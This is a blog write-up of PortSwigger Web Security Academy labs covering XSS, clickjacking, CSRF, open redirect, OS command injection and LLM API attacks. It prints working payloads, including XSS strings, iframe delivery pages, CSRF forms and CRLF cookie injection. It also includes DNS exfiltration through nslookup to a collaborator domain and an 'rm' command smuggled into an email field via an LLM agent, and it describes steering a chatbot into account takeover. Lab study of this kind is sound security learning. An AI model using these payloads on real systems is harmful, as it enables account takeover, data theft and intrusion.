home..

Learning web exploitation

Goal is to get the BSCP.

XSS Attacks

Lab: DOM XSS in document.write sink using source location.search

                        function trackSearch(query) {
                            document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
                        }
                        var query = (new URLSearchParams(window.location.search)).get('search');
                        if(query) {
                            trackSearch(query);
                        }

First 2 labs are super easy just append <script>alert(1)</script> to the search menu and comment section and thats it. For this lab, we need to break out of the quotes generated by the document.write function above. Now the query field is what you enter in the search menu. After about 20 minutes of trying different combinations, the working payload is ""</script><script>alert(1)</script> When this gets rendered, the double quotes first break out of the <img> tag, then for some reason adding a <\script> creates a newline. Finally we do the usual and generate an alert. Very good intro lab. I will try my best in the rest of the labs to not look at any solutions. Go through the documents and understand everything!!!!

Lab: DOM XSS in document.write sink using source location.search inside a select element

My first practitioner lab. Relevant JS:

                                var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');

This one was much easier than the previous one actually. Working payload is /product?productId=1&storeId=</select><script>alert(1)</script> You first break out of the selection menu by ending the </select>, then you just run the alert(1) script and boom!

Lab: DOM XSS in innerHTML sink using source location.search

Relevant JS:

                            function doSearchQuery(query) {
                                document.getElementById('searchMessage').innerHTML = query;
                            }
                            var query = (new URLSearchParams(window.location.search)).get('search');
                            if(query) {
                                doSearchQuery(query);
                            }

I was actually stuck on this for some time. Make sure to read the Burpsuite academy since it gives very good hints before the lab. In this case, innerHTML doesn’t load any JS directly, so we must use something else. Working payload is /?search=<img%20src=1%20onerror=alert()>. When the page loads, it attempts to load the image “1”. Since it doesn’t exist, the alert() function gets called. Basically HTML code that calls a JS function on an error.

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

Relevant JS:

                            $(function() {
                                $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
                            });

This one is super easy, go to Submit feedback, change the url from /feedback?returnPath=/post to /feedback?returnPath=javascript:alert(). When you click the back button(NOT IN BROWSER TOP LEFT), JS is executed instead of directing you back to the /post section. Not related, but the Jquery script is actually hosted by PortSwigger: <script src="/resources/js/jquery_1-8-2.js"></script>. I thought there was going to be a third party request to jquery.com like every other website, but nope. Nice!!

Lab: DOM XSS in jQuery selector sink using a hashchange event

Relevant JS:

                        $(window).on('hashchange', function(){
                            var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
                            if (post) post.get(0).scrollIntoView();
                        });

This lab taught me how to use exploit server. Of course not super realistic, but I guess its like an Apache or Nginx server irl. Working payload is <iframe src="https://0a1e000703eb93d0805d26110048002c.web-security-academy.net#" onload="this.src+='<img src=1 onerror=print()>'"> Of course replace the src with the correct url of the base page. Using iframes are pretty cool. I know iframes can be used to do a bunch of naughty things. Facebook pixel for instances uses invisible iframes to track users. Please use ublock origin!!! Anyway, this one does the same thing as the previous lab. Tries to load image, fails and executes a function. In this case, lab called for print() since alert() doesn’t work in newer version of Chrome I think??

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This one was tricky. First tried to understand how {{}} got parsed in AngularJS. I could input {{5+5}} into the search and it would output 10, but inputs like {{alert()}} are sanitized and don’t work. Next I tried to HTML encode <script>alert()</script> so it gets turned into &lt;script&gt;alert()&lt;/script&gt;. Putting this into search also didn’t work. Inspect didn’t give me much either. I could see the input field had class="ng-pristine ng-valid" attributes. Looking at the documentation these were related to CSS:

 Control status CSS classes

Angular automatically mirrors many control properties onto the form control element as CSS classes. Use these classes to style form control elements according to the state of the form. The following classes are currently supported.

    .ng-valid
    .ng-invalid
    .ng-pending
    .ng-pristine
    .ng-dirty
    .ng-untouched
    .ng-touched
    .ng-submitted (enclosing form element only)

Well CSS is not gonna help me here. Spent the next couple hours trying various payloads. Finally, I asked Duck AI to give me a hint and it gave me a working payload: {{ constructor.constructor('alert()')() }} The solution given by PortSwigger is {{$on.constructor('alert(1)')()}} Alright lets try to understand exactly how this works.

I read this blog and early versions of AngularJS didn’t have a sandbox. Once XSS vulnerabilities were reported, a sandbox was created to attempt to mitigate this attack. Of course it wasn’t enough and every single version of the sandbox was bypassed. Eventually Angular just gave up and removed the sandbox. The version of AngularJS in lab is 1.7.7, which doesn’t have any sandbox. Sure enough, the first discovered payload works. The trick to this payload is every function in JS has a constructor property that points to the function that created it. So calling alert() directly failed since it is not defined in the local scope. On Jsfiddle:

console.log(constructor);
console.log(constructor.constructor);

function Window() {
  [native code]
}
function Function() {
  [native code]
}

You can see logging constructor outputs the Window() function because it is the default global constructor. But using constructor.constructor outputs the function contructor. This allows us to define any function we want using strings, which leads to XSS in AngularJS. Pretty interesting and learned something new about JS.

Lab: Reflected DOM XSS

Relevant JS:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
}

Using eval is a horrible idea. If the server doesn’t do any sanitation, then the attacker can easily execute arbitrary code. The server returns a JSON response of the search results, but it also sends the searchTerm back to the client so it can show it to the user in the results screen. I set a breakpoint on the eval line and set a watch expression for this.responseText. I can now send test payloads to see how the JSON gets parsed on the client side. Searching \ gives "{\"results\":[],\"searchTerm\":\"\\\"}". So this gives 0 results and the \ gets inserted between \". This is how JSON differentiates the end of string and quotes. Of course the obvious next step is to try to break out of that. The first thing to do is to end the variable declaration with a ;. Searching for ; gives "{\"results\":[],\"searchTerm\":\";\"}". We aren’t any closer, since it considers ; our search term. We need to dive deeper.

What if we try directly closing the JSON object with };. This gives "{\"results\":[],\"searchTerm\":\"};\"}", nope. What if we directly copy the end of the JSON and append \"}";. This gives "{\"results\":[],\"searchTerm\":\"\\\\\"}\\\";\"}", nope gives Uncaught SyntaxError: Invalid or unexpected token. Wait a second why is there no ; right after the }? Lets try \"};, removing the double quote. This gives: "{\"results\":[],\"searchTerm\":\"\\\\\"};\"}". Okay okay, getting closer. What if we now try injecting alert(). Try \"}; alert();. This gives "{\"results\":[],\"searchTerm\":\"\\\\\"}; alert();\"}". Alright in theory we have broken out, lets comment out the end of the code after alert(); using //.

Working payload: \"}; alert(); //
this.responseText: "{\"results\":[],\"searchTerm\":\"\\\\\"}; alert(); //\"}"

The // is a comment in JS, so eval just ignores the end of the function. Success! We have XSS by doing a bunch of testing of different payloads. With these harder labs, its always a good idea to understand the solution as well. PortSwigger takes a different approach \"-alert(1)}//. Solutions mention escaping of backslash and double quotes. So a double quote gets escaped, which means I input " in search and its interpreted as \", NOT a literal, so we can’t just close a string. Now the backslash is not escaped, so if I search \", its interpreted as \\", in JS 2 backslashes mean a single LITERAL backslash, so it gets interpreted as a LITERAL backslash and a LITERAL double quote \". This allows us to close the string and inject our payload. I was confused af at this, but now kinda understand how it works.

Lab: Stored DOM XSS

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    if (comment.body) {
        let commentBodyPElement = document.createElement("p");
        commentBodyPElement.innerHTML = escapeHTML(comment.body);

        commentSection.appendChild(commentBodyPElement);
    }

We only care about the escapeHTML function and what it does to process the comment body. Using JS debugging and input: <script>alert()</script>, comment.body="<script>alert()</script>", commentBodyPElement.innerHTML="&lt;script&gt;alert()". I tried to escape out of the <p> by commenting &lt/p&gt&ltscript&gtalert()&lt/script&gt, but nope everything is rendered in comments. The reason why I can do this is the escapeHTML function only checks for the literal <> symbols, but if I encode in unicode, I can bypass the check and render <>. Unfortunately, it is interpreted as: <p>&lt;/p&gt;&lt;script&gt;alert()&lt;/script&gt;</p>. We need it to interpret as </p> to escape out or inject non escaped <>.

Working payloads: </p><img src=x onerror="alert();"><p>. Lets dive deeper into exactly how this works. commentBodyPElement.innerHTML="&lt;/p&gt;<img src=\"x\" onerror=\"alert();\"><p></p>" after the escapeHTML function. Well testing more variations, this payload also works in comment field: </p><img src=x onerror=alert()>. We close the paragraph element, but the escapeHTML doesn’t catch it properly. commentBodyPElement.innerHTML="&lt;/p&gt;<img src=\"x\" onerror=\"alert()\">". Inspect on comment shows: <p>&lt;/p&gt;<img src="x" onerror="alert()"></p>. Sigh… I am overthinking this like usual. The html.replace function only replaces the FIRST occurances of the symbols<>, this explains why it replaced the FIRST occurances in the <p>. BUT we don’t even need to close the paragraph tag. We can use a payload like this <><img src=x onerror=alert()>. After the <>, the remaining symbols don’t get replaced and get executed because the remaining symbols are NOT escaped. Man… I spent so much time, tried so many different payloads trying to break out of the paragraph tag, but I actually didn’t even need to do that. FINAL PAYLOAD: <><img src=x onerror=alert()>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

Working payload sent to victim: <iframe src=https://0ac5009c042dd4a0c450778d00ad0017.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E onload="this.height='1px'">. The important part is /?search=%3Cbody+onresize%3Dprint%28%29%3E. Learned how to use Burp intruder to enumerate lots of tags and attributes. Portswigger provides a cheatsheet here. It has lots of tags and attributes that can help you bypass WAFs like in this lab. So this lab blocked most common attributes and tags. If you tried <img>, you get HTTP 400 response invalid tag, if you tried <math onload=alert()>, you would get 400 invalid attribute. So\ common XSS vectors are blocked. However, we can use the cheat sheet and Burp intruder to quickly send a bunch of requests to quickly find working combinations.

Burp intruder pasting payloads
Results

So first you submit a search query, then find the POST request in HTTP history. Send that to intruder and go from there. So first we need to enumerate tags and find which are allowed. You want to add the injection point directly in between <>: GET /?search=%3C<here>%3E. Then copy paste tags and run intruder. Sort by increasing status codes and I noticed body tag is allowed. Thats very good and a good injection point, so we use that tag. Now we must enumerate the attributes. So repeat the same thing in intruder, but this time we put the injection point like this: GET /?search=%3Cbody+<here>%3E. Remember when you click the add button, Burp adds a special character so I can’t represent it in this blog, put that where I wrote <here>, but don’t literally put in <here>. The + symbol represents a space, %3C %3E is HTML encoding for <> symbols. Run and you should get a list of working attributes with HTTP 200 if you sort by increasing status code. Look at the right figure above. At this point I was stuck for some time thinking about my next step. The allowed attributes don’t execute on page load and the lab REQUIRES ZERO user intervention. I tried searching for <body onbeforeinput=print()>, which actually gave me XSS everytime I typed something in the search window, which was pretty cool, but that didn’t solve the lab. Looking back at my previous labs, I had to use the exploit server to send the victim an iframe. That is exactly what I did next.

onresize was a interesting attribute. Are we able to resize the iframe on page load, which then causes XSS? Doing some research and yes you can. So I contructed the payload in the body to send to the victim: <iframe src=https://baseurl/?search=%3Cbody+onresize%3Dprint%28%29%3E onload="this.height='1px'">. So I copied the POST request from browser development network tab. When the iframe loads, the entire window gets resized to 1px, executing alert() on victim browser. MAKE SURE TO PUT SINGLE QUOTES around 1px. I spent way too much time troubleshooting why the hell this didn’t work!!! The only issue I had was quotes lol… Anyway, this was very fun and a very good learning experience.

Vulnerable JS in src:

                        <script>
                            document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
                        </script>

This is the payload that allows RCE. What we do is append &'><script>print()</script> to the end of a productID URL. What this does is it breaks out of the href when the cookie value gets inserted. It closes the href, then adds the js. https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&%27%3E%3Cscript%3Eprint()%3C/script%3E

This:

                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1'>Last viewed product</a><p>|</p>
                        </section>

Becomes:

                   <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&'><script>print()</script>'>Last viewed product</a><p>|</p>
                        </section>

Now we send a iframe to the victim using:

<iframe src=https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/product?productId=1&%27%3E%3Cscript%3Eprint()%3C/script%3E onload="if(!window.whatever)this.src='https://0a8500cb04ab45bc80ae12e70078004a.web-security-academy.net/';window.whatever=1">

What this does is it loads the iframe initially, setting that cookie, then it instantly redirects to the root page, which will execute the payload. This fulfills the requirement of getting XSS on a seperate page. We use some random variable window.whatever to act like a flag, so we don’t get infinite redirections to the homepage.

Lab: DOM XSS using web messages

Vulnerable JS:

                    <script>
                        window.addEventListener('message', function(e) {
                            document.getElementById('ads').innerHTML = e.data;
                        })
                    </script>

Send this:

<iframe src="https://0a5300aa035e124b82241b8000520077.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">

to victim. Now the vulnerable JS will get out img tag, try to load the image, fail, and call print(). IMPORTANT! The result will not be displayed in your src code, so try using something like this first to see anything in console.

Lab: DOM XSS using web messages and a JavaScript URL

                    <script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                            }
                        }, false);
                    </script>

If we post a message and it contains http or https, then it will redirect you to that page. This can be abused because it doesn’t have to be a URL, just needs to contain those keywords. I construct this payload:

<iframe src="https://0a4200040322e1d48054808a008a00d3.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

It posts a js url: javascript:print() with a comment containing the http: to satisfy the requirements of the href change. So now when users visit this URL, print() gets called.

Lab: DOM XSS using web messages and JSON.parse

Some interesting JS:

                    <script>
                        window.addEventListener('message', function(e) {
                            var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
                            document.body.appendChild(iframe);
                            try {
                                d = JSON.parse(e.data);
                            } catch(e) {
                                return;
                            }
                            switch(d.type) {
                                case "page-load":
                                    ACMEplayer.element.scrollIntoView();
                                    break;
                                case "load-channel":
                                    ACMEplayer.element.src = d.url;
                                    break;
                                case "player-height-changed":
                                    ACMEplayer.element.style.width = d.width + "px";
                                    ACMEplayer.element.style.height = d.height + "px";
                                    break;
                            }
                        }, false);
                    </script>

Constructing this payload to “load” a channel:

this.postMessage('{"type":"load-channel", "url":"javascript:print()"}','*')

This is what I sent to victim. Spend so much time on formatting. <iframe src="https://0ace0093034d5477820d381100210034.web-security-academy.net" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

So double single quote for the onload, then double quotes for the JSON. Inside those double quotes, we specify \ to differentiate the inner double quotes from outer. Everything else is double quote. I tried using \', but this doesn’t work for inner quote. You must use single quote outside, then double quote inside. I spend more time on formatting the quotes than actually solving the lab lol.

LLM attacks

Lab: Exploiting LLM APIs with excessive agency

Very easy. Just ask the LLM to retrieve account information, change email to your own, then send a password reset. Login as carlos, delete account, and you are done. Of course, this usually never happens in the actual internet. Most bots are fairly secure. Looking at the solution, I could have also deleted the account by calling the SQL query from the chat: DELETE FROM users WHERE username='carlos'.

Lab: Exploiting vulnerabilities in LLM APIs

Lab: OS command injection, simple case

Going off topic because previous practitioner needs this skill. I don’t know exactly how to do OS command injection just yet. Lets learn.

sh: 1: Syntax error: Unterminated quoted string when I try injecting "& whoami". productId=' & echo woofer &storeId=1' ok no more http 400, but still im not getting any output.

productId=;whoami;&storeId=1 working payload outputs: /home/peter-3C15hj/stockreport.sh: line 5: $1: unbound variable sh: 1: 1: not found. Using ; to escape out and add an arbitrary whoami command. Hmmm interesting, it seems like Portswigger has server side protection on command execution. Honestly a good thing because it prevents an attacker from establishing a reverse shell using netcat or something else. productId=;echo aisjdioasiodjoiasd;&storeId=1 returns the same thing.

Lab: Blind OS command injection with time delays

This one was actually easier than the previous one. First I url encoded & ping -c 10 127.0.0.1 & to %26%20ping%20-c%2010%20127.0.0.1%20%26. I submit arbitrary stuff in feedback and using Burpsuite proxy, intercept and modify the email request to the url encoded data. So then the server takes that 10 seconds to process and boom finished. Very nice.

Lab: Blind OS command injection with output redirection

Exactly same as previous lab, but access is slightly different. First URL encode & whoami > /var/www/images/whoami & to %26%20whoami%20%3E%20%2Fvar%2Fwww%2Fimages%2Fwhoami%20%26. Submit random feedback, intercept using Burp proxy, and modify email to url encoded data. Then go to https://you_unique_address.web-security-academy.net/image?filename=whoami. In developer mode in response you see peter-nQjrBr. And boom you solved the lab, very nice.

Blind OS command injection with out-of-band interaction

URL encode: echo -n "& nslookup unique_id.oastify.com &" | urlencode and put the output into email mode after proxy. Same as before. Start Burp collaborator before and copy the link.

Blind OS command injection with out-of-band data exfiltration

Same thing, replace email field with: %26+nslookup+whoami.unique_url.oastify.com+%26, generated with Burp collaborator. Send it after proxy and the server should do a A record DNS lookup that looks like: peter-rxXhJQ.*.oastify.com. The flag is peter-rxXhJQ.

Lab: Exploiting vulnerabilities in LLM APIs

I spent way too long on this. I was trying to get RCE on the list product API. Injecting commands like:

"id": "call_yAHAGMZPT8sxx4NcGi6k4vop",
      "type": "function",
      "function": {
        "name": "product_info",
        "arguments": "{\"product\":\"Eye Projectors; & ls & \"}"
      }

This was a dead end, didn’t get anywhere. I wanted to explore the password reset API, but I don’t have an account. Last API is the newsletter subscribe API. I asked the LLM to parse the JSON below to subscribe my attacker exploit email to

{
  "email": "`rm morale.txt`attacker@exploit-0a4300b00318670d80f1a75d01640003.exploit-server.net"
}

I solved the lab. Very cool. This is similar to:

`nslookup `command`domain.tld`

This sends the output of command to the attacker controlled DNS server for out of band data exfiltration.

ClickJacking

Lab: Basic clickjacking with CSRF token protection

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:550px;
			opacity:0.01;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
            top: 496px;
            left: 70px;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me</div>
	<iframe id="target_website" src="https://0af700d1031dcc1880ab0dc300f000ef.web-security-academy.net/my-account">
	</iframe>
</body>

Hmm not sure why this isn’t working. Lets dive deeper.

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:550px;
			opacity:0.01;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
            top: 496px;
            left: 70px;
			width:60px;
			height:30px;
			z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me</div>
	<iframe id="target_website" src="https://0af700d1031dcc1880ab0dc300f000ef.web-security-academy.net/my-account">
	</iframe>
</body>

Ok im dum dum. Don’t make the decoy width and height so big lol. It was 300x400 before. So the “victim” clicked th middle, which wasn’t actually over the hidden iframe. Just shrank it so in inspect, it completely fit to the hidden iframe delete button, send to victim, and instantly worked. I spent too much time troubleshooting this lol.

Lab: Clickjacking with form input data prefilled from a URL parameter

Same payload as before, modify so URL has ?email=a@a parameter. Adjust position so it is directly above target button.

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:550px;
			opacity:0.001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
            top: 450px;
            left: 70px;
			width:60px;
			height:10px;
			z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me</div>
	<iframe id="target_website" src="https://0a4000e103b810db854dfdb8001e00a7.web-security-academy.net/my-account?email=a@a">
	</iframe>
</body>

Lab: Clickjacking with a frame buster script

Exactly the same, just add sandbox="allow-forms" to the iframe.

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:550px;
			opacity:0.01;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
            top: 450px;
            left: 70px;
			width:60px;
			height:10px;
			z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me</div>
	<iframe id="target_website" sandbox="allow-forms" src="https://0a3300b9047e9a1f807d1c8200e5008c.web-security-academy.net/my-account?email=a@a">
	</iframe>
</body>

Exploiting clickjacking vulnerability to trigger DOM-based XSS

Vulnerable JS. There is no sanitation in the name field:

function displayFeedbackMessage(name) {
    return function() {
        var feedbackResult = document.getElementById("feedbackResult");
        if (this.status === 200) {
            feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
            feedbackForm.reset();
        } else {
            feedbackResult.innerHTML =  "Failed to submit feedback: " + this.responseText
        }
    }
}

So in the name field we can input: <img src=x onerror=print()>. Other fields put random data and on submit we get XSS!! To fill in the rest of the fields, we simply use URL encoding https://0ab400e504da89f38040261600a100e0.web-security-academy.net/feedback?name=%3Cimg%20src=x%20onerror=print()%3E&email=a@a&subject=a&message=a. When we open this link, all the fields are prepopulated. Now we just need to use the previous techniques and send a payload to user.

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:900px;
			opacity:0.001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
            top: 795px;
            left: 70px;
			width:60px;
			height:10px;
			z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me</div>
	<iframe id="target_website" src="https://0ab400e504da89f38040261600a100e0.web-security-academy.net/feedback?name=%3Cimg%20src=x%20onerror=print()%3E&email=a@a&subject=a&message=a">
	</iframe>
</body>

Lab: Multistep clickjacking

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:900px;
			opacity:0.0001;
			z-index:3;
			}
		#decoy_website {
			position:absolute;
            top: 490px;
            left: 70px;
			width:70px;
			height:10px;
			z-index:2;
			}
		#decoy_website2 {
			position:absolute;
            top: 290px;
            left: 230px;
			width:60px;
			height:10px;
                        z-index:1;
			}
	</style>
</head>

<body>
	<div id="decoy_website">Click me first</div>
<div id="decoy_website2">Click me next</div>
	<iframe id="target_website" src="https://0ae4009c041580c0806b1255005000df.web-security-academy.net/my-account">
	</iframe>
</body>

Very easy. Just add a second div and manipulate the position using CSS. Not sure how practical this attack actually is. Won’t fool most users because it looks too simple lol.

CSRF

Lab: CSRF vulnerability with no defenses

Using Burp Professional, right click on POST request to change email, Engagement tools, Generate CSRF PoC. Copy and paste the code below into the exploit server and send it to the victim. Very easy.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2600810451bef08037034d00c0001b.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="89sadu&#64;random&#46;email" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: CSRF where token validation depends on request method

Very easy. Switch to GET request and put the email in the URL:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af800bb04ff20f5c54f744000be008a.web-security-academy.net/my-account/change-email?email=test@test.test" method="GET">
      <input type="hidden" name="email" value="89suiahduahusdadu&#64;random&#46;email" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: CSRF where token validation depends on token being present

WTF these labs should not be Practitioner level. The exact same payload as lab CSRF vulnerability with no defenses.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0aac00350465d0a3809d03cf00bb0042.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="89saiusahdhdsadu&#64;random&#46;email" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: CSRF where token is not tied to user session

A bit harder, but you generate a valid CSRF token using one of your accounts. Turn on intercept in Burp, copy that token, and drop the request. DONT SEND TO SERVER OR THAT TOKEN IS BURNED!!! You now have a valid token. Make the HTML below with that valid token, send to user and success.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a8300b4032fcc4d80baa33000180064.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asoidaoisd&#64;oiasdoihuoasdo" />
      <input type="hidden" name="csrf" value="p2e4L9RLDnTpJmXxyHmnykonqB4AYuHP" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

This one was fairly difficult. Had to get some hints from a writeup, but was able to solve it using my own unique solution. Going from the previous lab, there includes a csrfKey cookie in every request from the client to server. Just like previous lab where we need to send a valid csrf field in each request. Now the key difference is this cookie is harder to manipulate. If we use the same payload previously, it won’t work even though the csrf token is valid because it is validated against the users’s csrfKey cookie. The session cookie is not validated, which is the key to this vulnerability.

What we need to do is set this csrfKey cookie to our valid one, which will work with our csrf token. The lab also gives us a hint: “The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability.”. Finding this cookie setting behaviour took me the longest time. Lesson learned, if you can’t find something, go look somewhere else.

Going to the main search page and looking at the request and responses using Chrome developer tools, I noticed every time I searched something, the server sent a Set-Cookie header to the client. Looking at the docs, this actually allows the server to set a cookie on the client. In developer tools it is set to: Set-Cookie: LastSearchTerm=f; Secure; HttpOnly. I don’t know how I missed this, but being able to manipulate a cookie using a search term was RIGHT IN FRONT OF ME lol.

Similar to XSS, if we are able to break out into a newline and set a new cookie, that would be ideal. I spend a lot of time trying different payloads such as searching ; Set-Cookie: session=1234; SameSite=None. Setting SameSite to none is critical because it allows CSRF to work. We can use subdomains to set a global cookie. We also need to add the Secure flag according to docs, but thankfully the server adds them for us. This didn’t work, so I took a hint from a writeup. Using Urlencoder, I wanted to see if newlines were able to break me out. %0A urlencoded. Nope, they don’t work. The trick is to add a CRLF %0D%0A. Very good, I learned something new.

You can see this in my working payload below. Once I urlencode this, I am able to set the client’s csrfToken cookie to my own working one using an iframe. Since the server doesn’t validate the session cookie, it will take the users session and change the email. The rest of the payload is the exact same generated from Burp’s CSRF PoC. Very good lab, I approve!!

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<iframe src="https://0a61007c0458982880bd037a009d0083.web-security-academy.net/?search=%0D%0ASet-Cookie%3A%20csrfKey%3DrHfpDQJoB0EHcmYjmepFk28FdDxoVrt2%3B%20SameSite%3DNone"></iframe>
  <body>
    <form action="https://0a61007c0458982880bd037a009d0083.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asasjdasdsados&#64;ijasoijdsasdsadasad" />
      <input type="hidden" name="csrf" value="Oqxuxm0pbGvk2LkiPGi2WxCVM7iGVlX0" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Same as previous lab, just change csrf cookie instead.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<iframe src="https://0a4a009d04b9e99180c29911005000d5.web-security-academy.net/?search=%0D%0ASet-Cookie%3A%20csrf%3D4Sx9uo0avYees8LggWK6CjcK0Rwt0W41%3B%20SameSite%3DNone"></iframe>
  <body>
    <form action="https://0a4a009d04b9e99180c29911005000d5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asoidjis198981981&#64;jiosajdoisajda" />
      <input type="hidden" name="csrf" value="4Sx9uo0avYees8LggWK6CjcK0Rwt0W41" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: SameSite Lax bypass via method override

Very simple. Use the same payload as previous, but change the outer request to GET and inner _method to POST. The request gets sent out as GET, but is interpreted as server as POST. If you don’t do this, you will receive Method not allowed response from server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a8b0077039d5c4281fff21a0007002d.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="asdasdasdasdasddsaasds&#64;adsasdasd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: DOM-based open redirection

Vulnerable JS:

<div class="is-linkback">
    <a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"'>Back to Blog</a>
</div>

So the back button has a open redirection vulnerability. Lets see how to exploit this. Well it was very simple. Simply craft the url as https://0aaa002e041404a0821f8e9f00460004.web-security-academy.net/post?postId=7&url=https://exploit-0a81008704d50489827e8d51010e00d1.exploit-server.net and post it as a comment in website field. A site user will click on it, then click the back button. once that happens, they get redirected to the exploit server. Neat.

SameSite Strict bypass via client-side redirect

Set-Cookie: session=LuzLJqbrCKZb9eMwOipHYfQuwnkBjaXC; Secure; HttpOnly; SameSite=Strict

Using SameSite=Strict. This makes it more challenging. So we can construct this URL to change the email with a GET request: https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/my-account/change-email?email=target@email&submit=1. I found the redirect vulnerability in the comment redirect. I url encoded my payload: https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/post/comment/confirmation?postId=..%2Fmy-account%2Fchange-email%3Femail%3Dtarget%40email%26submit%3D1 I actually can’t believe .. went back one page because without it, it would redirect to /post/my-account, which is wrong.

The vulnerable JS is found inside file called commentConfirmationRedirect.js:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

Well actually you don’t need to URL encode when you send it to the exploit server. Anyways here is final exploit:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7f00f803cc9170804e035d008100b3.web-security-academy.net/post/comment/confirmation" method="GET">
      <input type="hidden" name="postId" value="../my-account/change-email?email=targeasda308912312089sdasdasdt@email&submit=1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: Manipulating WebSocket messages to exploit vulnerabilities

The answer is in the academy. Intercept and modify websocket when you send message to: {"message":"<img src=1 onerror='alert(1)'>"}, send and solved.

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

